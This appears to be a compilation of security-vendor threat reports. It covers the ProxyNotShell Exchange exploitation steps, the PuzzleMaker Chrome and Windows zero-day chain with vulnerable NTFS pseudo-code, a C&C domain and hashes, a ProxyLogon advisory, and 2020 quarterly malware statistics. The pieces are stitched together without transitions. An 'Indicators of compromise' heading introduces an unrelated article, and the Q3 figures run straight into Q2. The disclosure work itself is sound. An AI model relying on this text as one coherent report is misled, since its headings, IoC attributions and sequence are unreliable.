Summary

At the end of September, GTSC reported an attack on critical infrastructure that took place in August. During the investigation, experts found that two 0-day vulnerabilities in Microsoft Exchange Server were used in the attack. The first one, later identified as CVE-2022-41040, is a server-side request forgery (SSRF) vulnerability that allows an authenticated attacker to remotely trigger the next vulnerability – CVE-2022-41082. The second vulnerability, in turn, allows remote code execution (RCE) when MS Exchange PowerShell is accessible to the attacker. As noted in the GTSC report, both vulnerabilities were exploited together in the wild to create a backdoor on a vulnerable server, and perform lateral movement.

After CVE-2022-41040 and CVE-2022-41082 were revealed, Microsoft provided mitigation guidance followed by a few updates. According to the company, the vulnerabilities affect MS Exchange Server 2013, MS Exchange Server 2016 and MS Exchange Server 2019.

On October 11, 2022, Microsoft released patches to cover these vulnerabilities as part of its Patch Tuesday update. After that, on November 17, a security researcher published the first working PoC. It was a Python script that accepts the following parameters: user, password, mail address and command line to be executed on the victim’s host.

The cybersecurity community dubbed the pair of vulnerabilities ProxyNotShell. The name refers to a recent ProxyShell attack chain containing similar vulnerabilities in Exchange Servers that were disclosed in 2021. ProxyShell is a set of three vulnerabilities: CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207. Attackers used them to create web shells and execute arbitrary code on vulnerable Microsoft Exchange Servers.

ProxyNotShell exploitation details

The first step in this attack is exploiting CVE-2022-41040 to get access to the PowerShell API endpoint. Using an insufficient filtering of input data in the Exchange Autodiscover mechanism, an attacker with a known login and password combination for a registered account, can gain access to the privileged endpoint of the Exchange Server API (https://%exchange server domain%/powershell). This access allows the attacker to execute PowerShell commands in Exchange’s environment on the server machine, passing them in the payload via the XML SOAP protocol.

At the next step, the attacker must get access to Web-Based Enterprise Management (WBEM) via the WSMAN Protocol. The attacker initiates the shell on the vulnerable system for further PowerShell script execution via Windows Remote Management (PsRemoting).

HTTP POST request with XML SOAP to initiate PsRemoting

After initiation of the shell, the attacker should immediately extend its lifetime; otherwise, the shell will be closed as its expiration time is too short by default. This is necessary for further command execution on Exchange Server. To do that the attacker immediately sends a special request via WSMAN that enables the keep alive option.

HTTP POST request with XML SOAP to extend the shell’s lifetime

After that, the attacker exploits a second vulnerability – CVE-2022-41082. By using PowerShell Remoting the attacker sends a request to create an address book, passing encoded and serialized data with a special payload as a parameter. In a published PoC, this encoded data contains a gadget called System.UnitySerializationHolder that spawns an object of the System.Windows.Markup.XamlReader class. This class processes XAML data from a payload, which creates a new object of the System.Diagnostics class and contains a method call to open a new process on the target system. In the published PoC, this process is calc.exe.

HTTP POST request with XML SOAP to start new process

Main payload portion that executes the calc.exe process

ProxyNotShell post exploitation

A few weeks later after the vulnerability was disclosed, Kaspersky detected a successful exploitation of ProxyNotShell in the wild. The actor performed the following actions:

• Reconnaissance (users, groups, domains)
• Various hijack attempts (even dropping vulnerable binaries)
• Remote process injection
• Persistence
• Reverse shell

In this case, the attacker had the credentials to perform such an intrusion. They exploited the company’s Exchange Server and as a result were able to create any process they wanted on the Exchange machine, passing commands as a payload.

On the server side all processes that are started via exploitation have a main parent process with certain parameters: w3wp.exe -ap “msexchangepowershellapppool”.

These post-exploitation steps of the attack are very similar to the steps in the attack reported by TrendMicro, with the only difference being the vulnerabilities that are exploited.

Our products protect against all of these post exploitation steps as well as other attacks leveraging the CVE-2022-41040 and CVE-2022-41082 vulnerabilities. The detection name for ProxyNotShell is PDM:Exploit.Win32.Generic.

Our recommendations

A few words of advice to those worried about possible exploitation of ProxyNotShell or other 0-day vulnerabilities:

• Focus your defense strategy on detecting lateral movement and data exfiltration to the internet. Pay special attention to outgoing traffic to detect cybercriminal connections.
• Use the latest Threat Intelligence data to stay aware of actual TTPs used by threat actors.
• Use a security solution with exploit prevention, vulnerability and patch management components, such as Kaspersky Endpoint Security for Business. Our Exploit Prevention component monitors suspicious actions by applications and blocks the execution of malicious files.
• Use solutions like Kaspersky Endpoint Detection and Response and Kaspersky Managed Detection and Response that identify and stop attacks in the early stages.

Indicators of compromise

On April 14-15, 2021, Kaspersky technologies detected a wave of highly targeted attacks against multiple companies. Closer analysis revealed that all these attacks exploited a chain of Google Chrome and Microsoft Windows zero-day exploits. While we were not able to retrieve the exploit used for remote code execution (RCE) in the Chrome web browser, we were able to find and analyze an elevation of privilege (EoP) exploit that was used to escape the sandbox and obtain system privileges.

The elevation of privilege exploit was fine-tuned to work against the latest and most prominent builds of Windows 10 (17763 – RS5, 18362 – 19H1, 18363 – 19H2, 19041 – 20H1, 19042 – 20H2) and it exploits two distinct vulnerabilities in the Microsoft Windows OS kernel. On April 20, 2021, we reported these vulnerabilities to Microsoft and they assigned CVE-2021-31955 to the information disclosure vulnerability and CVE-2021-31956 to the elevation of privilege vulnerability. Both vulnerabilities were patched on June 8, 2021, as a part of the June Patch Tuesday.

Remote code execution exploit

All of the observed attacks were conducted through Chrome browser. Unfortunately, we were unable to retrieve the JavaScript with full exploit code, but the timeframe of attacks and events preceding it led us to suspect one particular vulnerability.

On April 6-8, 2021 the Pwn2Own competition took place. This is a computer hacking contest where the Google Chrome web browser was one of the targets. According to the ZDI (Zero Day Initiative, the organizer of Pwn2Own) website, one participating team was able to demonstrate a successful exploitation of the Chrome renderer process using a Typer Mismatch bug.

On April 12, 2021, the developers of Chromium committed two (issue 1196683, issue 1195777) Typer-related bug fixes to the open-source repository of V8 – a JavaScript engine used by Chrome and Chromium web browsers. One of these bug fixes (issue 1196683) was intended to patch a vulnerability that was used during Pwn2Own, and both bug fixes were committed together with regression tests – JavaScript files to trigger these vulnerabilities. Later on the same day, a user with the Twitter handle @r4j0x00 published a working remote code execution exploit on GitHub, targeting an up-to-date version of Google Chrome. That exploit used a vulnerability from issue 1196683 to execute a shellcode in the context of the browser renderer process.

Screenshot of tweet with Chrome zero-day published on April 12, 2021

The published exploit didn’t contain a sandbox escape exploit and was therefore intended to work only when the browser was launched with the command line option –no-sandbox.

On April 13, 2021, Google released Chrome update 89.0.4389.128 for Windows, Mac and Linux with a fix for two vulnerabilities; CVE-2021-21220 (used during Pwn2Own) was one of them.

Some of our customers who were attacked on April 14-15, 2021, already had their Chrome browser updated to 89.0.4389.128, and that’s why we think the attackers didn’t use CVE-2021-21220 in their attacks.

On April 14, 2021, Google released Chrome update 90.0.4430.72 for Windows, Mac and Linux with a fix for 37 vulnerabilities. On the same day, a new Chrome exploit was presented to the public.

Screenshot of GitHub repository with Chrome zero-day published on April 14, 2021

This newly published exploit used a vulnerability from issue 1195777, worked on the newly released Chrome 90.0.4430.72, and was fixed as CVE-2021-21224 only a few days later, on April 20, 2021.

We suspect the attackers were also able to use this JavaScript file with regression test to develop the exploit (or acquire it from someone else) and were probably using CVE-2021-21224 in their attacks.

Elevation of privilege exploit

CVE-2021-31955 is an information disclosure vulnerability in ntoskrnl.exe. The vulnerability is affiliated with a Windows OS feature called SuperFetch. It was introduced in Windows Vista and is aimed to reduce software loading times by pre-loading commonly used applications into memory. For SuperFetch purposes the function NtQuerySystemInformation implements a special system information class SystemSuperfetchInformation. This system information class incorporates more than a dozen of different SuperFetch information classes. The vulnerability lies in the fact that data returned by the NtQuerySystemInformation function for the SuperFetch information class SuperfetchPrivSourceQuery contains EPROCESS kernel addresses for currently executed processes.

It’s noteworthy that this vulnerability can be observed in code that was available on GitHub for a few years before we caught it in the wild and Microsoft patched it.

CVE-2021-31955 can be observed in the source code of the MemInfo utility

The other vulnerability, CVE-2021-31956, is a heap-based buffer overflow in ntfs.sys. The function NtfsQueryEaUserEaList processes a list of extended attributes for the file and stores the retrieved values to buffer. This function is accessible via ntoskrnl syscall and among other things it’s possible to control the size of the output buffer. If the size of the extended attribute is not aligned, the function will calculate a padding and the next extended attribute will be stored 32-bit aligned. The code checks if the output buffer is long enough to fit the extended attribute with padding, but it doesn’t check for possible integer-underflow. As a result, a heap-based buffer overflow can happen.

for ( cur_ea_list_entry = ea_list; ; cur_ea_list_entry = next_ea_list_entry )
{
  ...
 
  out_buf_pos = (DWORD *)(out_buf + padding + occupied_length);
 
  if ( NtfsLocateEaByName(eas_blocks_for_file, eas_blocks_size, &name, &ea_block_pos) )
  {
	ea_block = eas_blocks_for_file + ea_block_pos;
	ea_block_size = ea_block->DataLength + ea_block->NameLength + 9;
	if ( ea_block_size <= out_buf_length - padding ) // integer-underflow is possible
	{
  	memmove(out_buf_pos, (const void *)ea_block, ea_block_size); // heap buffer overflow
  	*out_buf_pos = 0;
	}
  }
  else
  {
	...
  }
 
  ...
 
  occupied_length += ea_block_size + padding;
  out_buf_length -= ea_block_size + padding;
  padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;
 
  ...
}

Pseudo-code for vulnerable code in function NtfsQueryEaUserEaList

The exploit uses CVE-2021-31956 along with Windows Notification Facility (WNF) to create arbitrary memory read and write primitives. We are planning to publish more information about this technique in the future.

As the exploit uses CVE-2021-31955 to get the kernel address of the EPROCESS structure, it is able to use the common post exploitation technique to steal SYSTEM token. However, the exploit uses a rarely used “PreviousMode” technique instead. We have seen this technique used by the CHAINSHOT framework and even made a presentation about it at CanSecWest/BlueHat in 2019. The exploit uses this technique to inject a malware module into the system process and execute it.

Malware modules

Besides the aforementioned exploits, the full attack chain consists of four additional malware modules, which will be referred to as:

• Stager
• Dropper
• Service
• Remote shell

The stager module is used to notify that exploitation was successful. It also downloads and executes a more complex malware dropper module from a remote server. Each stager module is delivered to the victim with a personalized configuration blob that defines the C&C URL, Session ID, keys to decrypt the next stage of malware, and other information.

All the stager module samples that we’ve discovered so far were configured to use the same URL address – hxxps://p{removed}/metrika_upload/index.php – to download the encrypted malware dropper module.

We believe there is a chance that the remote code execution JavaScript exploit was also hosted on the same legitimate-looking geopolitical news portal, but we found no evidence of a classic watering hole attack. The victimology suggests a highly targeted delivery of exploits.

The dropper module is used to install two executables that pretend to be legitimate files belonging to Microsoft Windows OS. One of these files (%SYSTEM%\WmiPrvMon.exe) is registered as a service and is used as a launcher for the second executable. This second executable (%SYSTEM%\wmimon.dll) has the functionality of a remote shell and can be considered the main payload of the attack. We couldn’t find any similarities between this and other known malware.

The remote shell module has a hardcoded URL of the C&C server inside (media-seoengine[.]com). All the communication between C&C server and client is authorized and encrypted. The remote shell module is able to download and upload files, create processes, sleep for specified amounts of time and delete itself from the compromised machine.

None of the artifacts we analyzed appear to have strong connections to any known threat actors. The only similarity to CHAINSHOT we observed is the “PreviousMode” technique, although this is publicly known and may be used by various groups. We are calling the threat actor behind these attacks PuzzleMaker.

Kaspersky products detect this exploit and malware modules with the verdicts:

• PDM:Exploit.Win32.Generic
• PDM:Trojan.Win32.Generic
• UDS:DangerousObject.Multi.Generic

Kaspersky products detected these attacks with the help of the Behavioral Detection Engine and the Exploit Prevention component. Over the past few years, we have built a multitude of exploit protection technologies into our products that have detected many zero-days, repeatedly proving their effectiveness. We will continue to improve defenses for our users by enhancing technologies and working with third-party vendors to patch vulnerabilities, making the internet more secure for everyone.

More information about these attacks and the actor behind them is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports@kaspersky.com.

Kaspersky would like to thank Microsoft for their prompt analysis of the report and patches.

IoCs

media-seoengine[.]com

%SYSTEM%\WmiPrvMon.exe

MD5 09A5055DB44FC1C9E3ADD608EFFF038C
SHA-1 BFFA4462901B74DBFBFFAA3A3DB27DAA61211412
SHA-256 982F7C4700C75B81833D5D59AD29147C392B20C760FE36B200B541A0F841C8A9

%SYSTEM%\wmimon.dll

MD5 D6B850C950379D5EE0F254F7164833E8
SHA-1 E63ED3B56A5F9A1EA5C92D3D2444196EA13BE94B
SHA-256 8A17279BA26C8FBE6966EA3300FDEFB1ADAE1B3ED68F76A7FC81413BD8C1A5F6

What happened?

On March 2, 2021 several companies released reports about in-the-wild exploitation of zero-day vulnerabilities inside Microsoft Exchange Server. The following vulnerabilities allow an attacker to compromise a vulnerable Microsoft Exchange Server. As a result, an attacker will gain access to all registered email accounts, or be able to execute arbitrary code (remote code execution or RCE) within the Exchange Server context. In the latter case, the attacker will also be able to achieve persistence on the infected server.

A total of four vulnerabilities were uncovered:

1. CVE-2021-26855. Server-side request forgery (SSRF) allows an attacker without authorization to query the server with a specially constructed request that will cause remote code execution. The exploited server will then forward the query to another destination.
2. CVE-2021-26857 caused by unsafe data deserialization inside the Unified Messaging service. Potentially allows an attacker to execute arbitrary code (RCE). As a result of insufficient control over user files, an attacker is able to forge a body of data query, and trick the high-privilege service into executing the code.
3. CVE-2021-26858. This vulnerability allows an authorized Exchange user to overwrite any existing file inside the system with their own data. To do so, the attacker has to compromise administrative credentials or exploit another vulnerability such as SSRF CVE-2021-26855.
4. CVE-2021-27065 is similar to CVE-2021-26858 and allows an authorized attacker to overwrite any system file on the Exchange server.

Kaspersky Threat Intelligence shows that these vulnerabilities are already used by cybercriminals around the world.

Geography of attacks with mentioned MS Exchange vulnerabilities (based on KSN statistics) (download)

We predict with a high degree of confidence that this is just the beginning, and we anticipate numerous exploitation attempts with the purpose of gaining access to resources inside corporate perimeters. Furthermore, we should note that there is typically a high risk of ransomware infection and/or data theft connected to such attacks.

How to protect against this threat?

Our products protect against this threat with Behavior Detection and Exploit Prevention components and detect exploitation with the following verdict: PDM:Exploit.Win32.Generic
We detect the relevant exploits with the following detection names:

• Exploit.Win32.CVE-2021-26857.gen
• HEUR:Exploit.Win32.CVE-2021-26857.a

We also detect and block the payloads (backdoors) being used in the exploitation of these vulnerabilities, according to our Threat Intelligence. Possible detection names are (but not limited to):

• HEUR:Trojan.ASP.Webshell.gen
• HEUR:Backdoor.ASP.WebShell.gen
• UDS:DangerousObject.Multi.Generic

We are actively monitoring the situation and additional detection logic will be released with updatable databases when required.

Our Endpoint Detection and Response helps to identify attacks in early stages by marking such suspicious actions with special IoA tags (and creating corresponding alerts). For example, this is an example of Powershell started by IIS Worker process (w3wp.exe) as a result of vulnerability exploitation:

Our Managed Detection and Response service is also able to identify and stop this attack by using threat hunting rules to spot the exploitation itself, as well as possible payload activity.

And the thorough research of the attack will soon be available within APT Intelligence Reporting service, please contact intelreports@kaspersky.com for details.

Recommendations

• As Microsoft has already released an update to fix all these vulnerabilities, we strongly recommend updating Exchange Server as soon as possible.
• Focus your defense strategy on detecting lateral movements and data exfiltration to the internet. Pay special attention to outgoing traffic to detect cybercriminal connections. Back up data regularly. Make sure you can quickly access it in an emergency.
• Use solutions like Kaspersky Endpoint Detection and Response and the Kaspersky Managed Detection and Response service which help to identify and stop the attack in the early stages, before the attackers achieve their goals.
• Use a reliable endpoint security solution such as Kaspersky Endpoint Security for Business that is powered by exploit prevention, behavior detection and a remediation engine that is able to roll back malicious actions. KESB also has self-defense mechanisms that can prevent its removal by cybercriminals.

These statistics are based on detection verdicts of Kaspersky products received from users who consented to provide statistical data.

Quarterly figures

According to Kaspersky Security Network, in Q3:

• Kaspersky solutions blocked 1,416,295,227 attacks launched from online resources across the globe.
• 456,573,467 unique URLs were recognized as malicious by Web Anti-Virus components.
• Attempts to run malware for stealing money from online bank accounts were stopped on the computers of 146,761 unique users.
• Ransomware attacks were defeated on the computers of 121,579 unique users.
• Our File Anti-Virus detected 87,941,334 unique malicious and potentially unwanted objects.

Financial threats

Financial threat statistics

In Q3 2020, Kaspersky solutions blocked attempts to launch one or more types of malware designed to steal money from bank accounts on the computers of 146,761 users.

Number of unique users attacked by financial malware, Q3 2020 (download)

Attack geography

To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country.

Geography of financial malware attacks, Q3 2020 (download)

Top 10 countries by share of attacked users

* Excluded are countries with relatively few Kaspersky product users (under 10,000).
** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country.

First among the banker families, as in the previous quarter, is Zbot (19.7%), despite its share dropping 5.1 p.p. It is followed by Emotet (16.1%) — as we predicted, this malware renewed its activity, climbing by 9.5 p.p. as a result. Meanwhile, the share of another banker family, RTM, decreased by 11.2 p.p., falling from second position to fifth with a score of 7.4%.

Top 10 banking malware families

** Unique users who encountered this malware family as a percentage of all users attacked by financial malware.

Ransomware programs

Quarterly trends and highlights

Q3 2020 saw many high-profile ransomware attacks on organizations in various fields: education, healthcare, governance, energy, finance, IT, telecommunications and many others. Such cybercriminal activity is understandable: a successful attack on a major organization can command a ransom in the millions of dollars, which is several orders of magnitude higher than the typical sum for mass ransomware.

Campaigns of this type can be viewed as advanced persistent threats (APTs), and Kaspersky researchers detected the involvement of the Lazarus group in the distribution of one of these ransomware programs.

Distributors of these Trojans also began to cooperate with the aim of carrying out more effective and destructive attacks. At the start of the quarter, word leaked out that Maze operators had joined forces with distributors of LockBit, and later RagnarLocker, to form a ransomware cartel. The cybercriminals used shared infrastructure to publish stolen confidential data. Also observed was the pooling of expertise in countering security solutions.

Of the more heartening events, Q3 will be remembered for the arrest of one of the operators of the GandCrab ransomware. Law enforcement agencies in Belarus, Romania and the UK teamed up to catch the distributor of the malware, which had reportedly infected more than 1,000 computers.

Number of new modifications

In Q3 2020, we detected four new ransomware families and 6,720 new modifications of this malware type.

Number of new ransomware modifications, Q3 2019 – Q3 2020 (download)

Number of users attacked by ransomware Trojans

In Q3 2020, Kaspersky products and technologies protected 121,579 users against ransomware attacks.

Number of unique users attacked by ransomware Trojans, Q3 2020 (download)

Attack geography

Geography of attacks by ransomware Trojans, Q3 2020 (download)

Top 10 countries attacked by ransomware Trojans

* Excluded are countries with relatively few Kaspersky users (under 50,000).
** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country.

Top 10 most common families of ransomware Trojans

* Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware.

Miners

Number of new modifications

In Q3 2020, Kaspersky solutions detected 3,722 new modifications of miners.

Number of new miner modifications, Q3 2020 (download)

Number of users attacked by miners

In Q3, we detected attacks using miners on the computers of 440,041 unique users of Kaspersky products worldwide. If in the previous quarter the number of attacked users decreased, in this reporting period the situation was reversed: from July we saw a gradual rise in activity.

Number of unique users attacked by miners, Q3 2020 (download)

Attack geography

Geography of miner attacks, Q3 2020 (download)

Top 10 countries attacked by miners

* Excluded are countries with relatively few users of Kaspersky products (under 50,000).
** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country.

Vulnerable applications used by cybercriminals during cyberattacks

According to our statistics, vulnerabilities in the Microsoft Office suite continue to lead: in Q3, their share amounted to 71% of all identified vulnerabilities. Users worldwide are in no rush to update the package, putting their computers at risk of infection. Although our products protect against the exploitation of vulnerabilities, we strongly recommend the timely installation of patches, especially security updates.

First place in this category of vulnerabilities goes to CVE-2017-8570, which can embed a malicious script in an OLE object placed inside an Office document. Almost on a par in terms of popularity is the vulnerability CVE-2017-11882, exploits for which use a stack overflow error in the Equation Editor component. CVE-2017-0199 and CVE-2018-0802 likewise remain popular.

Distribution of exploits used by cybercriminals, by type of attacked application, Q3 2020 (download)

The share of vulnerabilities in Internet browsers increased by 3 p.p. this quarter to 15%. One of the most-talked-about browser vulnerabilities was CVE-2020-1380 — a use-after-free error in the jscript9.dll library of the current version of the Internet Explorer 9+ scripting engine. This same vulnerability was spotted in the Operation PowerFall targeted attack.

Also in Q3, researchers discovered the critical vulnerability CVE-2020-6492 in the WebGL component of Google Chrome. Theoretically, it can be used to execute arbitrary code in the context of a program. The similar vulnerability CVE-2020-6542 was later found in the same component. Use-after-free vulnerabilities were detected in other components too: Task Scheduler (CVE-2020-6543), Media (CVE-2020-6544) and Audio (CVE-2020-6545).

In another browser, Mozilla Firefox, three critical vulnerabilities, CVE-2020-15675, CVE-2020-15674 and CVE-2020-15673, related to incorrect memory handling, were detected, also potentially leading to arbitrary code execution in the system.

In the reporting quarter, the vulnerability CVE-2020-1464, used to bypass scans on malicious files delivered to user systems, was discovered in Microsoft Windows. An error in the cryptographic code made it possible for an attacker to insert a malicious JAR archive inside a correctly signed MSI file, circumvent security mechanisms, and compromise the system. Also detected were vulnerabilities that could potentially be used to compromise a system with different levels of privileges:

• CVE-2020-1554, CVE-2020-1492, CVE-2020-1379, CVE-2020-1477 and CVE-2020-1525 in the Windows Media Foundation component;
• CVE-2020-1046, detected in the .NET platform, can be used to run malicious code with administrator privileges;
• CVE-2020-1472, a vulnerability in the code for processing Netlogon Remote Protocol requests that could allow an attacker to change any user credentials.

Among network-based attacks, those involving EternalBlue exploits and other vulnerabilities from the Shadow Brokers suite remain popular. Also common are brute-force attacks on Remote Desktop Services and Microsoft SQL Server, and via the SMB protocol. In addition, the already mentioned critical vulnerability CVE-2020-1472, also known as Zerologon, is network-based. This error allows an intruder in the corporate network to impersonate any computer and change its password in Active Directory.

Attacks on macOS

Perhaps this quarter’s most interesting find was EvilQuest, also known as Virus.OSX.ThifQseut.a. It is a self-replicating piece of ransomware, that is, a full-fledged virus. The last such malware for macOS was detected 13 years ago, since which time this class of threats has been considered irrelevant for this platform.

Top 20 threats for macOS

* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked.

Among the adware modules and their Trojan downloaders in the macOS threat rating for Q3 2020 was Hoax.OSX.Amc.d. Known as Advanced Mac Cleaner, this is a typical representative of the class of programs that first intimidate the user with system errors or other issues on the computer, and then ask for money to fix them.

Threat geography

Geography of threats for macOS, Q3 2020 (download)

Top 10 countries by share of attacked users

* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 5000)
** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country.

Spain (6.29%) and France (6.13%) were the leaders by share of attacked users. They were followed by India (5.59%) in third place, up from fifth in the last quarter. As for detected macOS threats, the Shlayer Trojan consistently holds a leading position in countries in this Top 10 list.

IoT attacks

IoT threat statistics

In Q3 2020, the share of devices whose IP addresses were used for Telnet attacks on Kaspersky traps increased by 4.5 p.p.

Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q3 2020

However, the distribution of sessions from these same IPs in Q3 did not change significantly: the share of operations using the SSH protocol rose by 2.8 p.p.

Distribution of cybercriminal working sessions with Kaspersky traps, Q3 2020

Nevertheless, Telnet still dominates both by number of attacks from unique IPs and in terms of further communication with the trap by the attacking party.

Geography of IP addresses of devices from which attempts were made to attack Kaspersky Telnet traps, Q3 2020 (download)

Top 10 countries by location of devices from which attacks were carried out on Kaspersky Telnet traps

* Devices from which attacks were carried out in the given country as a percentage of the total number of devices in that country.

In Q3, India (19.99%) was the location of the highest number of devices that attacked Telnet traps.  China (15.46%), having ranked first in the previous quarter, moved down a notch, despite its share increasing by 2.71 p.p. Egypt (9.77%) took third place, up by 1.45 p.p.

Geography of IP addresses of devices from which attempts were made to attack Kaspersky SSH traps, Q3 2020 (download)

Top 10 countries by location of devices from which attacks were made on Kaspersky SSH traps

* Devices from which attacks were carried out in the given country as a percentage of the total number of devices in that country.

In Q3, as before, China (28.56%) topped the leaderboard. Likewise, the US (14.75%) retained second place. Vietnam (3.14%), however, having taken bronze in the previous quarter, fell to ninth, ceding its Top 3 position to Germany (4.67%).

Threats loaded into traps

* Share of malware type in the total number of malicious programs downloaded to IoT devices following a successful attack.

Attacks via web resources

The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose; web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected.

Countries that are sources of web-based attacks: Top 10

The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites containing exploits and other malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks.

To determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established.

In Q3 2020, Kaspersky solutions blocked 1,416,295,227 attacks launched from online resources located across the globe. 456,573,467 unique URLs were recognized as malicious by Web Anti-Virus.

Distribution of web attack sources by country, Q3 2020 (download)

Countries where users faced the greatest risk of online infection

To assess the risk of online infection faced by users in different countries, for each country we calculated the share of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.

This rating only includes attacks by malicious programs that fall under the Malware class; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.

* Excluded are countries with relatively few Kaspersky users (under 10,000).
** Unique users targeted by Malware-class attacks as a percentage of all unique users of Kaspersky products in the country.

These statistics are based on detection verdicts by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data.

On average, 4.58% of Internet user computers worldwide experienced at least one Malware-class attack.

Geography of web-based malware attacks, Q3 2020 (download)

Local threats

In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users’ computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.).

In Q3 2020, our File Anti-Virus detected 87,941,334 malicious and potentially unwanted objects.

Countries where users faced the highest risk of local infection

For each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.

Note that this rating only includes attacks by malicious programs that fall under the Malware class; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries with relatively few Kaspersky users (under 10,000).
** Unique users on whose computers Malware-class local threats were blocked, as a percentage of all unique users of Kaspersky products in the country.

Geography of local infection attempts, Q3 2020 (download)

Overall, 16.40% of user computers globally faced at least one Malware-class local threat during Q3.

The figure for Russia was 18.21%.

IT threat evolution Q2 2020. Review
IT threat evolution Q2 2020. Mobile statistics

These statistics are based on detection verdicts of Kaspersky products received from users who consented to provide statistical data.

Quarterly figures

According to Kaspersky Security Network, in Q2:

• Kaspersky solutions blocked 899,744,810 attacks launched from online resources in 191 countries across the globe.
• As many as 286,229,445 unique URLs triggered Web Anti-Virus components.
• Attempted infections by malware designed to steal money via online access to bank accounts were logged on the computers of 181,725 unique users.
• Ransomware attacks were defeated on the computers of 154,720 unique users.
• Our File Anti-Virus detected 80,993,511 unique malware and potentially unwanted objects.

Financial threats

Financial threat statistics

In Q2 2020, Kaspersky solutions blocked attempts to launch one or more types of malware designed to steal money from bank accounts on the computers of 181,725 users.

Number of unique users attacked by financial malware, Q2 2020 (download)

Geography of attacks

To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products that faced this threat during the reporting period out of all users of our products in that country.

Geography of financial malware attacks, Q2 2020 (download)

Top 10 countries by share of attacked users

* Excluded are countries with relatively few Kaspersky product users (under 10,000).
** Unique users of Kaspersky products whose computers were targeted by financial malware as a share of all unique users of Kaspersky products in the country.

Among the banking Trojan families, the share of Backdoor.Win32.Emotet decreased markedly from 21.3% to 6.6%. This botnet’s activity decreased at the end of Q1 2020, but the results only became clear in the second quarter. However, as we prepared this report, we noticed that Emotet was gradually recovering.

Top 10 banking malware families

** Unique users attacked by this malware family as a percentage of all users attacked by financial malware.

Ransomware programs

Quarterly trend highlights

The attackers behind the Shade ransomware announced that they had ceased to distribute the Trojan. In addition, they published keys to decrypt files affected by all of its versions. The number of keys that had been accumulated over the years exceeded 750,000, and we updated our ShadeDecryptor utility to help Shade victims to regain access to their data.

Ransomware written in Go began surfacing more often than before. Examples of recently discovered Trojans include Sorena, Smaug, Hydra, Satan/M0rphine, etc. What is this: hackers showing an interest in new technology, ease of development or an attempt at making researchers’ work harder? No one knows for sure.

Number of new modifications

We detected five new ransomware families and 4,406 new modifications of these malware programs in Q2 2020.

Number of new ransomware modifications detected, Q2 2019 – Q1 2020 (download)

Number of users attacked by ransomware Trojans

Kaspersky products and technologies protected 154,720 users from ransomware attacks in Q2 2020.

Number of unique users attacked by ransomware Trojans, Q2 2020 (download)

Geography of attacks

Geography of attacks by ransomware Trojans, Q2 2020 (download)

Top 10 countries attacked by ransomware Trojans

* Excluded are countries with relatively few Kaspersky users (under 50,000).
** Unique users whose computers were attacked by Trojan encryptors as a share of all unique users of Kaspersky products in the country.

Top 10 most common families of ransomware Trojans

* Unique Kaspersky users attacked by the specified family of ransomware Trojans as a percentage of all users attacked by ransomware Trojans.

Miners

Number of new modifications

Kaspersky solutions detected 3,672 new miner modifications in Q2 2020, which is several dozen times fewer than in the previous quarter.

Number of new miner modifications, Q2 2020 (download)

The difference can be explained by thousands of modifications of one miner family, which were detected in the first quarter. In the quarter under review, that miner’s activity dwindled, which is reflected in the statistics.

Number of users attacked by miners

We detected miner attacks on the computers of 440,095 unique Kaspersky users worldwide in Q2 2020. This type of threats shows a clear downward trend.

Number of unique users attacked by miners, Q2 2020 (download)

Geography of attacks

Geography of miner attacks, Q2 2020 (download)

Top 10 countries attacked by miners

* Excluded are countries with relatively few Kaspersky product users (under 50,000).
** Unique users whose computers were attacked by miners as a share of all unique users of Kaspersky products in the country.

Vulnerable applications used by cybercriminals during cyberattacks

Exploit distribution statistics for Q2 2020, as before, show that vulnerabilities in the Microsoft Office suite are the most common ones. However, their share decreased to 72% in the last quarter. The same vulnerabilities we had seen before still topped the list. CVE-2017-8570, which allows inserting a malicious script into an OLE object placed inside an Office document, was the most commonly exploited vulnerability. It was followed by the Q1 favorite, CVE-2017-11882. This vulnerability exploits a stack overflow error in the Equation Editor component of the Office suite. CVE-2017-8570, a vulnerability similar to CVE-2017-0199, came third. The remaining positions on the TOP 5 list were occupied by CVE-2018-0802 and CVE-2017-8759.

